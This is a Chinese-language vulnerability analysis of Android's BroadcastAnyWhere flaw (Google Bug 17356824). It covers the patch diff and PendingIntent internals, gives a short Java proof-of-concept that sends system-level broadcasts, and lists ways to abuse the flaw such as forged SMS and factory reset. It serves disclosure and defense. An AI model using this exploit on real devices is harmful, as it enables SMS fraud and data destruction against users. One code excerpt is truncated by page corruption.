首页 > 代码库 > Android BroadcastAnyWhere(Google Bug 17356824)漏洞详细分析

Android BroadcastAnyWhere(Google Bug 17356824)漏洞详细分析

<style>h1, h2, h3, h4, h5, h6, p, blockquote { margin: 0; padding: 0; } body { font-family: "Helvetica Neue", Helvetica, "Hiragino Sans GB", Arial, sans-serif; font-size: 13px; line-height: 18px; color: #737373; background-color: white; margin: 10px 13px 10px 13px; } table { margin: 10px 0 15px 0; border-collapse: collapse; } td,th { border: 1px solid #ddd; padding: 3px 10px; } th { padding: 5px 10px; } a { color: #0069d6; } a:hover { color: #0050a3; text-decoration: none; } a img { border: none; } p { margin-bottom: 9px; } h1, h2, h3, h4, h5, h6 { color: #404040; line-height: 36px; } h1 { margin-bottom: 18px; font-size: 30px; } h2 { font-size: 24px; } h3 { font-size: 18px; } h4 { font-size: 16px; } h5 { font-size: 14px; } h6 { font-size: 13px; } hr { margin: 0 0 19px; border: 0; border-bottom: 1px solid #ccc; } blockquote { padding: 13px 13px 21px 15px; margin-bottom: 18px; font-family:georgia,serif; font-style: italic; } blockquote:before { content:"\201C"; font-size:40px; margin-left:-10px; font-family:georgia,serif; color:#eee; } blockquote p { font-size: 14px; font-weight: 300; line-height: 18px; margin-bottom: 0; font-style: italic; } code, pre { font-family: Monaco, Andale Mono, Courier New, monospace; } code { background-color: #fee9cc; color: rgba(0, 0, 0, 0.75); padding: 1px 3px; font-size: 12px; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; } pre { display: block; padding: 14px; margin: 0 0 18px; line-height: 16px; font-size: 11px; border: 1px solid #d9d9d9; white-space: pre-wrap; word-wrap: break-word; } pre code { background-color: #fff; color:#737373; font-size: 11px; padding: 0; } sup { font-size: 0.83em; vertical-align: super; line-height: 0; } * { -webkit-print-color-adjust: exact; } @media screen and (min-width: 914px) { body { width: 854px; margin:10px auto; } } @media print { body,code,pre code,h1,h2,h3,h4,h5,h6 { color: black; } table, pre { page-break-inside: avoid; } }</style>

Android BroadcastAnyWhere(Google Bug 17356824)漏洞详细分析

作者:低端码农(简行,boyliang)

博客:www.im-boy.net

时间:2014.11.16

继上次Android的LaunchAnyWhere组件安全漏洞后,最近Google在Android 5.0的源码上又修复了一个高危漏洞,该漏洞简直是LaunchAnyWhere的姊妹版——BroadcastAnyWhere。通过这个漏洞,攻击者可以以system用户的身份发送广播,这意味着攻击者可以无视一切的BroadcastReceiver组件访问限制。而且该漏洞影响范围极广,Android 2.0+至4.4.x都受影响。

漏洞分析

修复前后代码对比

BroadcastAnyWhere跟LaunchAnyWhere的利用原理非常类似,两者都利用了Setting的uid是system进程高权限操作。

漏洞同样发生在Setting的添加帐户的流程上,该流程详细见《Android LaunchAnyWhere (Google Bug 7699048)漏洞详解及防御措施》一文。而BroadcastAnyWhere漏洞则发生在这个流程之前。在分析漏洞之前, 我们先来看看漏洞修复的前后对比,具体代码在AddAccountSetting的addAccount方法。

修复前代码中下:

 ...
 private static final String KEY_CALLER_IDENTITY = "pendingIntent";
 ...

 private void addAccount(String accountType) {
        Bundle addAccountOptions = new Bundle();
        mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
        addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
        addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
        AccountManager.get(this).addAccount(
                accountType,
                null, /* authTokenType */
                null, /* requiredFeatures */
                addAccountOptions,
                null,
                mCallback,
                null /* handler */);
        mAddAccountCalled  = true;
    }

修复后代码如下

...
private static final String KEY_CALLER_IDENTITY = "pendingIntent";
private static final String SHOULD_NOT_RESOLVE = "SHOULDN‘T RESOLVE!";
...

private void addAccount(String accountType) {

    Bundle addAccountOptions = new Bundle();

    /*
     * The identityIntent is for the purposes of establishing the identity
     * of the caller and isn‘t intended for launching activities, services
     * or broadcasts.
     *
     * Unfortunately for legacy reasons we still need to support this. But
     * we can cripple the intent so that 3rd party authenticators can‘t
     * fill in addressing information and launch arbitrary actions.
     */
    Intent identityIntent = new Intent();
    identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
    identityIntent.setAction(SHOULD_NOT_RESOLVE);
    identityIntent.addCategory(SHOULD_NOT_RESOLVE);

    mPendingIntent = PendingIntent.getBroadcast(this, 0, identityIntent, 0);
    addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
    addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
    AccountManager.get(this).addAccountAsUser(
            accountType,
            null, /* authTokenType */
            null, /* requiredFeatures */
            addAccountOptions,
            null,
            mCallback,
            null /* handler */,
            mUserHandle);
    mAddAccountCalled  = true;
}

mPenddingIntent的作用主要是作为身份识别用的。

通过前后对比,修复方案就是把放入mPendingIntent的intent,由原来简单的new Intent()改为事先经过一系列填充的identityIntent。这样做,就可以防止第三方的Authenticator(主要是针对木马)进行二次填充,后面会详细介绍。

注意PendingIntent.getBroadcast调用的参加中,在修复前传入的是一个"空"的Intent对象,这对后面的分析非常关键。

PeddingIntent的实现原理

通过上面代码对比分析,如果你已经对PeddingIntent的实现细节比较清楚的话,那么这节的内容可以跳过。在PenddingIntent.java源文件中,有这么一段说明:

/**
 * ...
 * ...
 * <p>By giving a PendingIntent to another application,
 * you are granting it the right to perform the operation you have specified
 * as if the other application was yourself (with the same permissions and
 * identity).  As such, you should be careful about how you build the PendingIntent:
 * almost always, for example, the base Intent you supply should have the component
 * name explicitly set to one of your own components, to ensure it is ultimately
 * sent there and nowhere else.
 *
 * <p>A PendingIntent itself is simply a reference to a token maintained by
 * the system describing the original data used to retrieve it.  This means
 * that, even if its owning application‘s process is killed, the
 * PendingIntent itself will remain usable from other processes that
 * have been given it.  If the creating application later re-retrieves the
 * same kind of PendingIntent (same operation, same Intent action, data,
 * categories, and components, and same flags), it will receive a PendingIntent
 * representing the same token if that is still valid, and can thus call
 * {@link #cancel} to remove it.
 * ...
 * ...
 */

简单来说,就是指PenddingIntent对象可以按预先指定的动作进行触发,当这个对象传递(通过binder)到其他进程(不同uid的用户),其他进程利用这个PenddingInten对象,可以原进程的身份权限执行指定的触发动作,这有点类似于Linux上suid或guid的效果。另外,由于触发的动作是由系统进程执行的,因此哪怕原进程已经不存在了,PenddingIntent对象上的触发动作依然有效。

PeddingIntent是一个Parcelable对象,包含了一个叫名mTarget成员,类型是。这个字段其实是个BinerProxy对象,真正的实现逻辑在PenddingIntentRecored.java。从源码分析可知,PendingIntent.getBroadcast最终调用的是ActivityManagerService中的getIntentSender方法。关键代码如下:

public IIntentSender getIntentSender(int type, String packageName, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options, int userId) {

    enforceNotIsolatedCaller("getIntentSender");
    ...
    ...        
    synchronized(this) {
        int callingUid = Binder.getCallingUid();
        int origUserId = userId;
        userId = handleIncomingUser(Binder.getCallingPid(), callingUid, userId,
                    type == ActivityManager.INTENT_SENDER_BROADCAST, false,
                    "getIntentSender", null);
        ...
        ...

        return getIntentSenderLocked(type, packageName, callingUid, userId, token, resultWho, requestCode, intents, resolvedTypes, flags, options);

            } catch (RemoteException e) {
                throw new SecurityException(e);
            }
        }
    }
IIntentSender getIntentSenderLocked(int type, String packageName, int callingUid, int userId, IBinder token, String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes, int flags, Bundle options) {

        if (DEBUG_MU)
            Slog.v(TAG_MU, "getIntentSenderLocked(): uid=" + callingUid);
        ActivityRecord activity = null;

        ...
        ...

        PendingIntentRecord.Key key = new PendingIntentRecord.Key(type, packageName, activity, resultWho, requestCode, intents, resolvedTypes, flags, options, userId); //根据调用者的信息,生成PendingIntentRecord.Key对象

        WeakReference<PendingIntentRecord> ref;
        ref = mIntentSenderRecords.get(key);
        PendingIntentRecord rec = ref != null ? ref.get() : null;
        ...        
        ...

        rec = new PendingIntentRecord(this, key, callingUid); //最后生成PendingIntentRecord对象
        mIntentSenderRecords.put(key, rec.ref); //保存
        ...        
        return rec; //并返回
    }

总结一下这个过程,就是AMS会把生成PenddingIntent的进程(Caller)信息保存到PendingIntentRecord.Key,并为其维护一个PendingIntentRecord对象,这个对象是一个BinderStub。

PendingIntent提供了一系列的send方法进行动作触发,最终是调用PendingIntentRecord的send方法,我们直接分析这里的代码:

public int send(int code, Intent intent, String resolvedType,
            IIntentReceiver finishedReceiver, String requiredPermission) {
        return sendInner(code, intent, resolvedType, finishedReceiver,
                requiredPermission, null, null, 0, 0, 0, null);
    }

跟进去:

int sendInner(int code, Intent intent, String resolvedType,
        IIntentReceiver finishedReceiver, String requiredPermission,
        IBinder resultTo, String resultWho, int requestCode,
        int flagsMask, int flagsValues, Bundle options) {

    synchronized(owner) {
        if (!canceled) {
            sent = true;
            if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) {
                owner.cancelIntentSenderLocked(this, true);
                canceled = true;
            }
            Intent finalIntent = key.requestIntent != null
                    ? new Intent(key.requestIntent) : new Intent();
            if (intent != null) {
                int changes = finalIntent.fillIn(intent, key.flags); //用传进来的intent进行填充finalIntent
                if ((changes&Intent.FILL_IN_DATA) == 0) {
                    resolvedType = key.requestResolvedType;
                }
            } else {
                resolvedType = key.requestResolvedType;
            }

            ...
            ...

            switch (key.type) {
                ...
                case ActivityManager.INTENT_SENDER_BROADCAST:
                    try {
                        // If a completion callback has been requested, require
                        // that the broadcast be delivered synchronously
                        owner.broadcastIntentInPackage(key.packageName, uid,
                                finalIntent, resolvedType,
                                finishedReceiver, code, null, null,
                            requiredPermission, (finishedReceiver != null), false, userId);
                        sendFinish = false;
                    } catch (RuntimeException e) {
                        Slog.w(ActivityManagerService.TAG,
                                "Unable to send startActivity intent", e);
                    }
                    break;
                ...
            }

            ...     

            return 0;
        }
    }
    return ActivityManager.START_CANCELED;

针对该漏洞我们只分析broadcast这个分支的逻辑即可。这里发现,会用send传进来的intent对finalIntent进行填充,通过前面的代码分析得到,这里的finalInent是一个“空”的intent,即mAction, mData,mType等等全为null,这使得几乎可以随意指定finalIntent的内容,见fillIn的代码:

public int fillIn(Intent other, int flags) {
    int changes = 0;
    if (other.mAction != null
            && (mAction == null || (flags&FILL_IN_ACTION) != 0)) {
        mAction = other.mAction;
        changes |= FILL_IN_ACTION;
    }
    if ((other.mData != null || other.mType != null)
            && ((mData =http://www.mamicode.com/= null && mType == null)>

从上面代码得知,我们可以随意指定除了mComponent之外的所有字段,这已经可以满足大部分的使用情景了。

漏洞利用和危害

有了前面分析,漏洞复用代码就很简单了,这里一个是发送系统开机广播的例子:

// the exploit of broadcastAnyWhere
final String KEY_CALLER_IDENTITY = "pendingIntent";
PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY);
Intent intent_for_broadcast = new Intent("android.intent.action.BOOT_COMPLETED");
intent_for_broadcast.putExtra("info", "I am bad boy");

try {
    pendingintent.send(mContext, 0, intent_for_broadcast);
} catch (CanceledException e) {
    e.printStackTrace();
}

其实可利用的广播实在太多了,再比如:

  • 发送android.provider.Telephony.SMS_DELIVER可以伪造接收短信;
  • 发送android.intent.action.ACTION_SHUTDOWN可以直接关机;
  • 发送com.google.android.c2dm.intent.RECEIVE广播,设备将恢复至出厂设置;
  • 等等

攻击者通过漏洞可以伪造亲朋好友或者银行电商的短信,跟正常的短信完全无异,普通用户根本无法甄别。

除了伪造短信外,攻击者可以利用该漏洞恢复出厂设置,对对用户进行威胁等等。

ComponentSuperAccessor

结合LuanchAynWhere和BroadcastAnyWhere两个漏洞,我适当的封装了一下,实现了一个ComponentSuperAccessor的库,有兴趣的朋友可以到https://github.com/boyliang/ComponentSuperAccessor.git下载。

安全建议

  • 对于开发者,PenddingIntent尽可能不要跨进程传递,避免权限泄漏。或者尽量把PendingIntent中的字段都填充满,避免被恶意重定向;
  • 对于用户和厂商,尽快升级到Android L;

Android BroadcastAnyWhere(Google Bug 17356824)漏洞详细分析